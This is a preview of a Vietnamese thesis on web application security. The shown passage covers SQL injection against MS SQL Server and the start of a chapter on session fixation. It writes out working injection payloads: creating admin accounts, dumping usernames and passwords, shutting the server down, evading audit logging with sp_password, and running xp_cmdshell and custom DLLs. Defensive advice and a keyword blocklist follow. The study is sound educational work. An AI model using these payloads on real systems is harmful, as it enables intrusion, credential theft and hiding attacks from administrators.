Luận văn Nghiên cứu một số vấn đề về bảo mật ứng dụng web trên internet

MỤC LỤC

GIỚI THIỆU

Tổchức của luận văn .

PHẦN THỨNHẤT: CƠSỞLÍ THUYẾT .

Chương 1: Giới thệu Ứng dụng Web .

I. KHÁI NIỆM ỨNG DỤNG WEB .

II. MÔ TẢHOẠT ĐỘNG CỦA MỘT ỨNG DỤNG WEB . .

Chương 2: Các khái niệm, thuật ngữliên quan .

I. HACKER

II. HTTP HEADER .

III. SESSION .

IV. COOKIE .

V. PROXY .

Chương 3: Giới thiệu sơlược vềcác kĩthuật tấn công Ứng dụng Web .

I. KIỂM SOÁT TRUY CẬP WEB

I.1. Thâm nhập hệthống qua cửa sau .

II. CHIẾM HỮU PHIÊN LÀM VIỆC .

II.1.Ấn định phiên làm việc

II.2. Đánh cắp phiên làm việc .

III. LỢI DỤNG CÁC THIẾU SÓT TRONG VIỆC KIỂM TRA DỮLIỆU NHẬP HỢP

LỆ . .

III.1. Kiểm tra tính đúng đắn của dữliệu bằng ngôn ngữphía trình duyệt .

III.2. Tràn bộ đệm . .

III.3. Mã hóa URL .

III.4. Kí tựMeta .

III.5. Vượt qua đường dẫn .

III.6. Chèn mã lệnh thực thi trên trình duyệt nạn nhân .

III.7. Thêm câu lệnh hệthống . .

III.8. Chèn câu truy vấn SQL .

III.9. Ngôn ngữphía máy chủ .

III.10. Kí tựrỗng . .

III.11. Thao tác trên tham sốtruyền .

IV. ĐỂLỘTHÔNG TIN .

V. TỪCHỐI DỊCH VỤ . .

PHẦN THỨHAI: CÁC KĨTHUẬT TẤN CÔNG VÀ BẢO MẬT ỨNG DỤNG WEB.

Chương 4: Thao tác trên tham sốtruyền

I. THAO TÁC TRÊN URL .

I.1. Khái niệm .

I.2. Một sốbiện pháp khắc phục .

II. THAO TÁC TRÊN BIẾN ẨN FORM .

II.1. Khái niệm

II.2. Một sốbiện pháp khắc phục .

III. THAO TÁC TRÊN COOKIE

III.1. Khái niệm .

III.2. Một sốbiện pháp khắc phục .

IV. THAO TÁC TRONG HTTP HEADER .

IV.1. Khái niệm .

IV.2. Một sốbiện pháp khắc phục .

Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Side Scripting) .

I. KĨTHUẬT TẤN CÔNG CROSS-SITE SCRIPTING (XSS) .

II. PHƯƠNG PHÁP TẤN CÔNG XSS TRUYỀN THỐNG .

III. MỘT SỐWEBSITE TÌM THẤY LỖHỔNG XSS .

IV. TẤN CÔNG XSS BẰNG FLASH .

V. CÁCH PHÒNG CHỐNG

Chương 6: Chèn câu truy vấn SQL (SQL Injection) .

I. KHÁI NIỆM SQL INJECTION .

II. GIỚI THIỆU MÔ HÌNH CƠSỞDỮLIỆU .

III. CÁC CÁCH TẤN CÔNG .

III.1. Kĩthuật tấn công SQL Injection .

III.2. Tấn công dưa vào câu lệnh SELECT

III.3. Tấn công dưa vào câu lệnh HAVING .

III.4. Tấn công dưa vào câu lệnh kết hợp UNION

III.5. Tấn công dưa vào lệnh INSERT .

III.6. Tấn công dưa vào STORED PROCEDURE

III.7. Nâng cao .

III.7.1. Chuỗi kí tựkhông có dấu nháy đơn .

III.7.2. Tấn công 2 tầng

III.7.3. Tránh sựkiểm soát .

III.7.4. Dùng Extended StoredProcedure

III.7.4.1. Dùng Extended Stored Procedure có sẵn trong hệthống SQL Server .

III.7.4.2. Dùng Extended Stored Procedure tựtạo .

III.7.4.3. Nhập tập tin văn bản vào bảng

IV. CÁCH PHÒNG CHỐNG

IV.1. Kiểm tra dữliệu .

IV.2. Khoá chặt SQL Server (SQL Server Lockdown) .

Chương 7: Chiếm hữu phiên làm việc (Session Management)

I. TỔNG QUAN VỀSESSION ID .

II.ẤN ĐỊNH PHIÊN LÀM VIỆC .

II.1. Tấn công Session ID trên tham sốURL

II.2. Tấn công Session ID trong biến ẩn form .

II.3. Tấn công Session ID trong cookie .

II.4. Cách phòng chống .

III. ĐÁNH CẮP PHIÊN LÀM VIỆC .

III.1. Tấn công kiểu dự đoán phiên làm việc (Prediction sessionID)

III.2. Tấn công kiểu vét cạn phiên làm việc (Brute force ID) .

III.3. Tấn công kiểu dùng đoạn mãđể đánh cấp phiên làm việc .

III.4. Cách phòng chống .

III.5. Sựkhác biệt giữa đánh cắp phiên làm việc (session hijacking) vàấn định phiên

làm việc (session fixation) .

Chương 8: Tràn bộ đệm (Buffer Overflow) .

I. KHÁI NIỆM .

II. SƠ ĐỒTỔCHỨC CỦA BỘNHỚ .

II.1. Stack .

II.2. Push và Pop

II.3. Cách làm việc của hàm .

II.4. Shell code .

III. MỘT SỐCÁCH GÂY TRÀN BỘ ĐỆM QUA ỨNG DỤNG WEB .

IV. CÁC CÁCH PHÒNG CHỐNG .

Chương 9: Từchối dịch vụ(DoS) .

I. KHÁI NIỆM .

II. NHỮNG KHẢNĂNG BỊTẤN CÔNG BẰNG DOS .

III. CÁC KĨTHUẬT TẤN CÔNG .

III.1. Khái niệmvềTcp bắt tay ba chiều

III.2. Lợi dụng TCP thực hiện phương pháp SYN flood truyền thống .

III.3. Tấn công vào băng thông .

III.3.1. Kiểu tấn công thứ1 .

III.3.2. Kiểu tấn công thứ2 .

III.4. Kiểu tấn công vào tài nguyên hệthống .

IV. BIỆN PHÁP PHÒNG CHỐNG .

Chương 10: Một sốkĩthuật tấn công khác .

I. MÃ HÓA URL (URL Encoding)

I.1. Khái niệm

I.2. Một sốbiện pháp phòng chống .

II. KIỂU TẤN CÔNG VƯỢT ĐƯỜNG DẪN

II.1. Khái niệm .

II.2. Một sốbiện pháp phòng chống .

III. TẤN CÔNG DỰA VÀO KÍ TỰRỖNG .

III.1. Khái niệm .

III.2. Một sốbiện pháp phòng chống .

IV. NGÔN NGỮPHÍA TRÌNH CHỦ .

IV.1. Khái niệm .

IV.2. Cách tấn công

IV.3. Biện pháp phòng chống

Chương 11: Tổng kết quá trình tấn công của Hacker .

I. THU THẬP THÔNG TIN ỞMỨC HẠTẦNG CỦA MỤC TIÊU

II. KHẢO SÁT ỨNG DỤNG WEB

III. TẤN CÔNG .

Chương 12: Tổng kết các biện pháp phòng chống .

I. VỚI NHỮNG NHÀ QUẢN TRỊMẠNG

II. VỚI NHỮNG NHÀ THIẾT KẾ ỨNG DỤNG WEB .

III. VỚI NGƯỜI SỬDỤNG ỨNG DỤNG WEB .

PHẦN THỨBA: CHƯƠNG TRÌNH WEB CHECKER .

Chương 13: Chương trình Web Checker .

I. ĐẶC TẢCHƯƠNG TRÌNH WEB CHECKER .

I.1. Tổng quan .

I.2. Yêu cầu .

I.2.1. Yêu cầu chức năng .

I.2.1. Yêu cầu phi chức năng .

II. KIẾN TRÚC CHƯƠNG TRÌNH WEB CHECKER .

II.1. Kiến trúc chương trình Web Checker .

II.2. Giao tiếp giữa chương trình với trình chủWeb .

III. CÀI ĐẶT .

III.1. Ngôn ngữcài đặt .

III.2. Phương pháp cài đặt .

 

pdf169 trang | Chia sẻ: netpro | Lượt xem: 1699 | Lượt tải: 2download
Bạn đang xem trước 20 trang tài liệu Luận văn Nghiên cứu một số vấn đề về bảo mật ứng dụng web trên internet, để xem tài liệu hoàn chỉnh bạn click vào nút DOWNLOAD ở trên
khi đã nhận đầy đủ trông tin trên thì hacker dễ dàng tự thêm thông tin vào bảng User. Ví dụ 6.III.4-5: Username:’; insert into User(tkUsername,tkPassword) values (‘admin’, ‘’)-- Hacker thêm nội dung như Ví dụ 6.III.4.2.4 bây giờ trở thành người quản trị mạng mà không cần mật khẩu để chứng thực. Ví dụ 6.III.4-6: minh hoạ một công đoạn sẽ giúp hacker đọc hết thông tin trong bảng User: • Bước 1: Tạo một Stored procedure để chép vào tất cả thông tin của 2 trường tkUsername và tkPassword trong bảng User thành một chuỗi vào một bảng mới là foo có một trường là ret bằng đoạn mã sau: create proc test as begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+tkUsername+'/'+tkPassword from User select @ret as ret into foo end Thực thi câu lệnh bằng cách nhập vào form. Username:’;Create proc test as begin declare @ret varchar(8000) set @ret=’:’ select @ret=@ret+' Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) -Trang 66- '+tkUsername+'/'+tkPassword from User select @ret as ret into foo • Bước 2: Gọi Stored procedure đó Sau khi đã tạo được stored procedure như trên, thực hiện lời gọi hàm: Username:’;exec test • Bước 3: Dùng UNION để xem nội dung bảng foo Username:’;select ret,1 from foo union select 1,1 from foo Lỗi phát sinh: Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error convertingthe varchar value ': admin/passofAdmin nhimmap/passofnhimmap minhthu/passofminhthu' to a column of data type int. Qua một số công đoạn, hacker đã thu được nội dung của bảng User gồm có tên tkUsername và mật khẩu tkPassword. • Bước 4: Ngoài ra hacker còn có thể cẩn thận xoá bảng foo để xoá dấu vết: Username: ‘; drop table foo-- Ví dụ 6.III.4-7: Còn đây là một cách khác để xác định nội dung của bảng User, còn một phương pháp tìm kiếm thông tin như sau: • Bước 1: Tìm tuần tự từng dòng trên bảng User Username:’union select 1,1 Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) -Trang 67- hoặc : Username:’union select min(tkUsername),1 from User where tkUsername> ’a’-- Lỗi phát sinh: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int. Người đầu tiên trong bảng User là “admin”. • Bước 2: Để biết các giá trị tiếp theo, nhập chuỗi sau: Username:’;select min(tkUsername),1 from User where tkUsername> ’admin’union select 1,1 from User Lỗi phát sinh: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'nhimmap' to a column of data type int. • Bước 3: Thực hiện như bước 2 cho ra kết quả là từng dòng với trường tkUsername trong bảng User. Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) -Trang 68- • Bước 4: Để biết thêm về tkPasswork, có thể thực hiện như sau: Username:’;select tkPassword,1 from User where tkUsername= ’admin’union select 1,1 from User Lỗi phát sinh: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'passOfAdmin' to a column of data type int. Để biết thông tin về các bảng, cột trong cơ sở dữ liệu, có thể truy vấn bảng đến bảng hệ thống INFORMATION_SCHEMA.TABLES. Ví dụ 6.III.4-8: select TABLE_NAME from INFORMATION_SCHEMA.TABLES INFORMATION_SCHEMA.TABLES chứa thông tin về tất cả các table có trên server. Trường TABLE_NAME chứa tên của mỗi table trong cơ sở dữ liệu. SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='User' Câu lệnh trên được sử dụng để biết thông tin về cột trong bảng. Ngoài ra còn có thể dùng UNION để biết các biến môi trường của SQL Server. Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) -Trang 69- Ví dụ 6.III.4-9: Để biết ứng dụng đang chạy trên Server nào, có thể xác định bằng cách sau: Username:’;select @@SERVERNAME union select 1 Lỗi phát sinh: Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'KHOAI_NGU' to a column of data type int. III.5. Tấn công dưa vào lệnh INSERT Từ khoá INSERT dùng để đưa thông tin vào cơ sở dữ liệu. Thông thường câu lệnh INSERT được dùng trong các trường hợp như: thông tin đăng kí người sử dụng, guestbook…v..v… Kĩ thuật “;”, “--“ được dùng như đã từng dùng với câu lệnh SELECT, phải đảm bảo đúng số lượng và kiểu giá trị được nhập vào nhằm tránh lỗi về cú pháp (nếu không xác định được kiểu dữ liệu có thể nhập tất cả là số). Ví dụ 6.III.5-1: SQLString= “INSERT INTO User VALUES (‘” & strUsername & “’, ‘” & strName& “’, ‘” & strPassWord & “’,’”& strLimitSize & “’)” Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) -Trang 70- III.6. Tấn công dưa vào STORED PROCEDURE Stored Procedure được sử dụng trong lập trình Web với mục đích giảm sự phức tạp trong ứng dụng và tránh sự tấn công trong kĩ thuật SQL Injection. Tuy nhiên hacker vẫn có thể lợi dụng những Stored Procedure để tấn công vào hệ thống. Ví dụ 6.III.6-1: Stored procedure sp_login gồm hai tham số là username và password. Nếu nhập: Username: nhimmap Password: ‘;shutdown-- Lệnh gọi stored procedure như sau: exec sp_login ‘nhimmap’,‘’;shutdown--’ Lệnh shutdown thực hiện dừng SQL Server ngay lập tức. III.7. Nâng cao III.7.1. Chuỗi kí tự không có dấu nháy đơn: Những nhà lập trình có thể bảo vệ ứng dụng của họ bằng cách loại bỏ tất cả dấu nháy, thông thường loại bỏ dấu nháy bằng cách thay một dấu nháy thành 2 dấu nháy. Ví dụ 6.III.7.1-1: Function escape (input) Input=replace(input, “’”, “’’”) escape=input end function Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) -Trang 71- Rõ ràng là, nó ngăn chặn được tất cả những kiểu tấn công trên. Tuy nhiên nếu muốn tạo ra một chuỗi giá trị mà không dùng các dấu nháy, có thể dùng hàm “char()” như ví dụ sau: Ví dụ 6.III.7.1-2: INSERT into User VALUES(666, char(0x63) +char(0x68) +char(0x72) char(0x69) +char(0x73) ,char(0x63) +char(0x68) +char(0x72) +char(0x69) +char(0x73),0xffff) Ví dụ 6.III.7.1-3 trên tuy là một câu truy vấn không có dấu nháy đơn nào nhưng nó vẫn có thể insert chuỗi vào bảng, và tương đương với: INSERT into User VALUES( 666,’chris’,’chris’,255) Hacker cũng có thể chọn username , password là số để tránh dấu nháy như ví dụ sau: Ví dụ 6.III.7.1-4: INSERT into User VALUES( 667,123,123,0xffff) SQL server sẽ tự động chuyển từ số sang chuỗi. III.7.2. Tấn công 2 tầng Mặc dù ứng dụng đã thay thế dấu nháy đơn nhưng vẫn còn khả năng bị chèn đoạn mã SQL . Ví dụ 6.III.7.2-1: Để đăng kí account trong ứng dụng, nhập username như sau: Username: admin'— Password: passofadmin Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) -Trang 72- Ứng dụng sẽ thay thế dấu nháy, kết quả trong câu insert sẽ như sau: INSERT into User VALUES(123, 'admin''--', 'password',0xffff) (nhưng trong cơ sở dữ liệu sẽ lưu là “admin’--“) Giả sử rằng ứng dụng cho phép người dùng thay đổi mật khẩu. Các đoạn mã ASP được thiết kế đảm bảo rằng người sử dụng phải nhập đúng mật khẩu cũ trước khi nhập mật khẩu mới. Đoạn mã như sau: username = escape( Request.form("username") ); oldpassword = escape( Request.form("oldpassword") ); newpassword = escape( Request.form("newpassword") ); var rso = Server.CreateObject("ADODB.Recordset"); var sql = "select * from users where username = '" + username + "' and password = '" + oldpassword + "'"; rso.open( sql, cn ); if (rso.EOF) {… Câu truy vấn thiết lập mật khẩu mới như sau: sql = "update users set password = '" + newpassword + "' where username= '" + rso("username") + "'" rso(“username”) chính là giá trị username có được câu truy vấn login và nó là admin’-- Câu truy vấn lúc này như sau: Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) -Trang 73- update users set password = 'password' where username = 'admin'--' Nhờ đó hacker có thể thay đổi mật khẩu của admin bằng giá trị của mình. Đây là 1 trường hợp còn tồn tại trong hầu hết những ứng dụng lớn ngày nay có sử dụng cơ chế loại bỏ dữ liệu. Giải pháp tốt nhất là loại bỏ những giá trị lỗi hơn là chỉnh sửa lại. Nhưng có một vấn đề là có một số ô nhập dữ liệu (như ô nhập tên) cho phép những kí tự này. Ví dụ: O’Brien. Cách tốt nhất để giải quyết vấn đề này là không cho phép nhập dấu nháy đơn. Nếu điều này không thể thực hiện được , thì loại bỏ và thay thế như trên. Trong trường hợp này, cách tốt nhất là đảm bảo tất cả dữ liệu được đưa vào câu truy vấn SQL (kể cả những giá trị trong cơ sở dữ liệu) phải được kiểm soát một cách chặt chẽ. Một số ứng dụng phòng chống việc thêm câu truy vấn từ người dùng bằng cách giới hạn chiều dài của ô nhập. Tuy nhiên, với giới hạn này thì một số kiểu tấn công không thể thực hiện được nhưng vẫn có chỗ hở để hacker lợi dụng. Ví dụ 6.III.7.2-2: Giả sử cả username và password đều bị giới hạn tối đa là 16 kí tự. Nhập: Username: aaaaaaaaaaaaaaa’ Password :‘; shutdown-- Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) -Trang 74- Ứng dụng sẽ thay thế một dấu nháy đơn bằng hai dấu nháy đơn nhưng do chiều dài chuỗi bị giới hạn chỉ là 16 kí tự nên dấu nháy đơn vừa được thêm sẽ bị xoá mất. Câu lệnh SQL như sau: Select * from users where username=’aaaaaaaaaaaaaaa’’ and password=’’’; shutdown—‘ kết quả là username trong câu lệnh có giá trị là: aaaaaaaaaaaaaaa’ and password=’ III.7.3. Tránh sự kiểm soát: SQL server có một giao thức kiểm soát chặt chẽ bằng họ hàm sp_traceXXX, cho phép ghi nhân nhiều sự kiện xảy ra trong cơ sở dữ liệu. Đặc biệt là các sự kiện T-SQL, ghi nhận lại tất cả các câu lệnh SQL thực hiện trên Server. Nếu chế độ kiểm soát được bật thì tất cả các câu truy vấn SQL của hacker cũng bị ghi nhận và nhờ đó mà một người quản trị có thể kiểm soát những gì đang xảy ra và nhanh chóng tìm ra được giải pháp. Nhưng cũng có một cách để chống lại điều này, bằng cách thêm dòng “sp_password” vào câu lệnh T-SQL, vì khi gặp chuỗi này thì việc kiểm tra sẽ ghi nhận như sau: -- ‘sp_password’ was found in the text of this event. -- The text has benn replaced with this comment for security reasons. ngay cả khi “sp_password” xuất hiện trong phần chú thích. Vì thế để dấu tất cả câu truy vấn tấn công, chỉ cần đơn giản là thêm sp_password vào sau ‘--’ như sau: Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) -Trang 75- Username:admin’--sp_password III.7.4. Dùng Extended Stored Procedure III.7.4.1. Dùng Extended Stored Procedure có sẵn trong hệ thống SQL Server Nếu cài SQL Server ở chế độ mặc định thì SQL Server chạy trên nền SYSTEM, tương đương mức truy cập ở Windows. Có thể dùng master..xp_cmdshell để thi hành lệnh từ xa: ; exec master..xp_cmdshell 'ping 10.10.1.2'-- Thử dùng dấu nháy đôi (") nếu dấu nháy đơn (') không làm việc. Dưới đây là một số extended stored procedure mà hacker thường hay sử dụng để thực thi những câu lệnh xem nội dung thông tin trong máy nạn nhân: Xp_availablemedia hiển thị những ổ đĩa hiện hành trên máy Xp_dirtree hiển thị tất cả các thư mục kể cả thư mục con Xp_loginconfig Lấy thông tin về chế độ bảo mật trên server Xp_makecab cho phép người sử dụng tạo các tập tin lưu trữ trên Server (hay bất cứ tập tin nào mà server có thể truy x Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) -Trang 76- n III.7.4.2. Dùng Extended Stored Procedure tự tạo Extended stored procedure API là một chương trình có một nhiệm vụ đơn giản là tạo ra một DLL extended stored porcedure chứa đựng đoạn mã nguy hiểm. Để đưa tập tin DLL lên Server có thể dùng các câu lệnh, hoặc các kĩ thuật giao tiếp khác nhau được thực hiện tự động, như là HTTP download và FTP script. Một khi tập tin DLL đã tồn tại trên máy chủ, thì hacker có thể tạo một extended stored procedure bằng dòng lệnh sau : Ví dụ 6.III.7.4.2-1: sp_addextendedproc ‘xp_webserver’, ‘c:\temp\xp_foo.dll’ Sau đó có thể thực thi nó như là thực thi extended stored procedure thông thường : exec xp_webserver Khi đã thực hiện xong, có thể xoá bằng lệnh sau: sp_dropextendedproc ‘xp_webserver’ Xp_ntsec_enumdomain liệt kê những domain mà server có thể truy vấn. Xp_terminate_process chấm dứt một tiến trình với tham số PID của nó. Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) -Trang 77- III.7.4.3. Nhập tập tin văn bản vào bảng Dùng lệnh ‘bulk insert’, nhập dữ liệu từ một tập tin văn bản vào trong một bảng tạm thời. Ví dụ 6.III.7.4.3-1:Ví dụ tạo một bảng đơn giản như sau: create table foo (line varchar(8000)) Sau đó chạy câu lệnh bulk insert để chép dữ liệu từ tập tin vào bảng Ví dụ 6.III.7.4.3-2: bulk insert foo from ‘c:\inetpub\wwwroot\process_login.asp’ Nội dung trang process_login.asp có thể lấy về bằng cách dùng những kĩ thuật như trong Ví dụ 6.III.7.4-3. IV. CÁCH PHÒNG CHỐNG • Trong hầu hết trình duyệt, những kí tự nên được mã hoá trên địa chỉ URL trước khi được sử dụng. • Việc tấn công theo SQL Injection dựa vào những câu thông báo lỗi do đó việc phòng chống hay nhất vẫn là không cho hiển thị những thông điệp lỗi cho người dùng bằng cách thay thế những lỗi thông báo bằng 1 trang do người phát triển thiết kế mỗi khi lỗi xảy ra trên ứng dụng. • Kiểm tra kĩ giá trị nhập vào của người dùng, thay thế những kí tự như ‘ ; v..v.. Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) -Trang 78- • Hãy loại bỏ các kí tự meta như “',",/,\,;“ và các kí tự extend như NULL, CR, LF, ... trong các string nhận được từ: o dữ liệu nhập do người dùng đệ trình o các tham số từ URL o các giá trị từ cookie • Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi thực hiện câu truy vấn SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer. • Dùng thuật toán để mã hoá dữ liệu IV.1. Kiểm tra dữ liệu Kiểm tra tính đúng đắn của dữ liệu là 1 vấn đề phức tạp và thường chưa được quan tâm đúng mức trong các ứng dụng. Khuynh hướng của việc kiểm tra tính đúng đắn của dữ liệu không phải là chỉ cần thêm một số chức năng vào ứng dụng, mà phải kiểm tra một cách tổng quát nhanh chóng để đạt được mục đích. Những tóm tắt sau đây sẽ bàn về việc kiểm tra tính đúng đắn của dữ liệu, cùng với ví dụ mẫu để minh hoạ cho vấn đề này. Có ba giải pháp tiếp cận vấn đề này: 1) Cố gắng kiểm tra và chỉnh sửa để làm cho dữ liệu hợp lệ. 2) Loại bỏ những dữ liệu bất hợp lệ. 3) Chỉ chấp nhận những dữ liệu hợp lệ ™ Giải pháp 1: khó thực hiện Thứ nhất, người lập trình không cần thiết phải biết tất cả dữ liệu bất hợp lệ, bởi vì những dạng dữ liệu bất hợp lệ rất đa dạng. Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) -Trang 79- Thứ hai, là vấn đề của trường hợp bị tấn công 2 tầng (second-oder SQL injection) trong việc lấy dữ liệu từ hệ thống ra. ™ Giải pháp 2: bị vô hiệu trong các trường hợp như giải pháp 1 là do : Dữ liệu bất hợp lệ luôn luôn thay đổi và cùng với việc phát triển các kiểu tấn công mới. ™ Giải pháp 3: tốt hơn hai giải pháp kia, nhưng sẽ gặp một số hạn chế khi cài đặt. Cách bảo mật tốt nhất là kết hợp cả giải pháp 2 và 3. Một ví dụ cho sự cần thiết kết hợp 2-3 là dấu nối giữa họ và tên “Quentin Bassington-Bassington” phải cho phép dấu gạch ngang trong bộ định nghĩa dữ liệu hợp lệ, nhưng chuỗi kí tự “--“ là một chuỗi kí tự đặc biệt trong SQL server. Ví dụ nếu có bộ lọc để : • Lọc bỏ những dữ liệu bất hợp lệ như ‘--‘,’select’ và ‘union’ • Một hàm kiểm soát để loại bỏ dấu nháy đơn thì có thể đối phó như sau. uni’on se’lect @@version-‘- Một số cách cài đặt các chức năng kiểm tra dữ liệu cơ bản Cách 1: Thay thế dấu nháy đơn: function escape( input ) input = replace(input, "'", "''") escape = input end function Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) -Trang 80- Cách 2: Từ chối dữ liệu bất hợp lệ function validate_string( input ) known_bad = array( "select", "insert", "update", "delete", "drop","--", "'" ) validate_string = true for i = lbound( known_bad ) to ubound( known_bad ) if ( instr( 1, input, known_bad(i), vbtextcompare ) 0 ) then validate_string = false exit function end if next end function Cách 3: Chỉ chấp nhận dữ liệu hợp lệ function validatepassword( input ) good_password_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" validatepassword = true for i = 1 to len( input ) c = mid( input, i, 1 ) if ( InStr( good_password_chars, c ) = 0 ) then validatepassword = false exit function end if next end function Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) -Trang 81- IV.2. Khoá chặt SQL Server (SQL Server Lockdown) Luận văn cũng giới thiệu một phương pháp bảo mật ở mức độ quản trị cơ sở dữ liệu. Đây là một danh sách các công việc cần làm để bảo vệ SQL server: • Xác định các phương pháp kết nối đến server: o Dùng tiện ích Network Utility để kiểm tra rằng chỉ có các thư viện mạng đang dùng là hoat động. • Kiểm tra tất cả các tài khoản có trong SQL Server o Chỉ tạo tài khoản có quyền thấp cho các ứng dụng o Loại bỏ những tài khoản không cần thiết o Đảm bảo rằng tất cả tài khoản có một mật khẩu hợp lệ, … • Kiểm tra các đối tượng tồn tại o Nhiều extended stored procedure có thể được xoá bỏ một cách an toàn. Nếu điều này được thực hiện, thì cũng nên xem xét việc loại bỏ luôn những tập tin .dll chứa mã của các extended stored procedure o Xoá bỏ tất cả cơ sở dữ liệu mẫu như “northwind” và “pubs” o Xóa các stored procedure không dùng như: master..xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask • Kiểm tra những tài khoản nào có thể truy xuất đến những đối tượng nào o Đối với những tài khoản của một ứng dụng nào đó dùng để truy xuất cơ sở dữ liệu thì chỉ được cấp những quyền hạn cần thiết tối thiểu để truy xuất đến những đối tượng nó cần dùng. Khoa CNTT Chương 6: Chèn câu truy vấn SQL (SQL Injection) -Trang 82- • Kiểm tra lớp sửa chữa của server o Có một số cách tấn công như “buffer overflow”, “format string” thường chú ý đến lớp bảo vệ này. • Kiểm tra các phiên làm việc trên server • Thay đổi "Startup và chạy SQL Server" ở mức người dùng quyền hạn thấp trong SQL Server Security. Nhận xét: - Qua chương 6 này, càng thấy rằng việc kiểm tra dữ liệu trước khi xử lý là cần thiết. - Ứng dụng ngoài việc kiểm tra tính đúng đắn của dữ liệu, cần mã hóa dữ liệu ngay bên trong cơ sở dữ liệu và không cho xuất trang Web lỗi, báo nội dung lỗi cú pháp SQL để hacker không thể thu thập thông tin cơ sở dữ liệu. - Song song đó là công việc của người quản trị mạng. Khoa CNTT Chương 7: Chiếm hữu phiên làm việc -Trang 83- Chương 7 CHIẾM HỮU PHIÊN LÀM VIỆC Nội dung: I. Tổng quan về SessionID II. Ấn định phiên làm việc III. Đánh cắp phiên làm việc Khoa CNTT Chương 7: Chiếm hữu phiên làm việc -Trang 84- CHƯƠNG 7: CHIẾM HỮU PHIÊN LÀM VIỆC DE I. TỔNG QUAN VỀ SESSIONID Như đã đề cập đến Session trong chương 2 phần III, session dùng để lưu trữ trạng thái làm việc giữa trình duyệt và trình chủ. Session ID có thể được lưu trữ trong cookie hay được nhúng vào địa chỉ URL hay trong biến ẩn của form. Mỗi kiểu lưu trữ đều có ưu và khuyết điểm, nhưng qua thực tế cookie vẫn là lựa chọn tốt nhất, và là phương pháp an toàn nhất. Thông thường, sau khi người dùng được chứng thực dựa trên những thông tin cá nhân như tên/mật khẩu, session ID được xem như một mật khẩu tĩnh tạm thời cho những lần yêu cầu tiếp theo. Điều này đã khiến cho Session ID là mục tiêu lớn cho những hacker. Trong nhiều trường hợp, hacker giành được session ID hợp lệ của người dùng để từ đó đột nhập vào phiên làm việc của họ. XSS cũng là một cách tấn công có thể chiếm được session ID lưu trữ trong cookie. Cách tấn công này gọi là “session hijacking”. Tấn công vào một phiên làm việc thường được thực hiện theo 2 kiểu chính sau: • Ấn định phiên làm việc • Đánh cắp phiên làm việc Khoa CNTT Chương 7: Chiếm hữu phiên làm việc -Trang 85- II.ẤN ĐỊNH PHIÊN LÀM VIỆC Trong kiểu tấn công ấn định một phiên làm việc, hacker ấn định sẵn session ID cho nạn nhân trước khi họ đăng nhập vào hệ thống. Sau đó, hacker sẽ sử dụng session ID này để buớc vào phiên làm việc của nạn nhân đó. Tóm tắt quá trình tấn công: • Bước 1: Thiết lập session ID. Hệ thống quản lí session theo 2 hướng: + Hướng tự do: chấp nhận bất kì một session ID, nếu chưa tồn tại session thì tạo mới một session ID + Hướng giới hạn: chỉ chấp nhận session ID nào đã đăng kí trước đó. Với hệ thống hướng tự do hacker chỉ cần thiết lập một session ID bất kì, nhớ và sau đó sử dụng lại session ID này. Ở hướng giới hạn, hacker phải đăng kí một session ID với ứng dụng. Phụ thuộc vào qui trình quản lí phiên làm việc mà hacker lưu trữ thời gian sống của phiên làm việc cho đến khi nạn nhân đăng nhập vào hệ thống. Thông thường một phiên làm việc không tồn tại vô hạn định. Hệ thống sẽ tự động hủy bỏ phiên làm việc nếu nó không thực hiện một thao tác nào (thời gian nhàn rỗi ) hoặc hết hạn định. Do đó bước 1a là kẻ tấn công sẽ bảo trì phiên làm việc bằng cách gửi yêu cầu đến server. Khoa CNTT Chương 7: Chiếm hữu phiên làm việc -Trang 86- Hình 7.II-1: Sơ lược quá trình tấn công người dùng bằng kĩ thuật ấn định session • Bước 2: Gởi ID này đến trình duyệt nạn nhân. Hacker gửi session ID vừa tạo đến người dùng và việc trao đổi ID session còn tùy vào ứng dụng mà có thể qua URL, biến ẩn form hay cookie. Các cách tấn công thông dụng gồm: o Tấn công session ID trên tham số URL. o Tấn công session ID bằng biến ẩn form. o Tấn công session ID trong cookie. • Bước 3: Đột nhập vào phiên làm việc của nạn nhân. Sau khi nạn nhân đăng nhập vào hệ thống qua session ID đã được chỉ định sẵn và chưa thoát khỏi ứng dụng, hacker lúc này bắt đầu dùng session ID đó để bước vào phiên làm việc của nạn nhân. Khoa CNTT Chương 7: Chiếm hữu phiên làm việc -Trang 87- Hình 7.II-2: Mô tả chi tiết quá trình thực hiện tấn công người dùng bằng kĩ 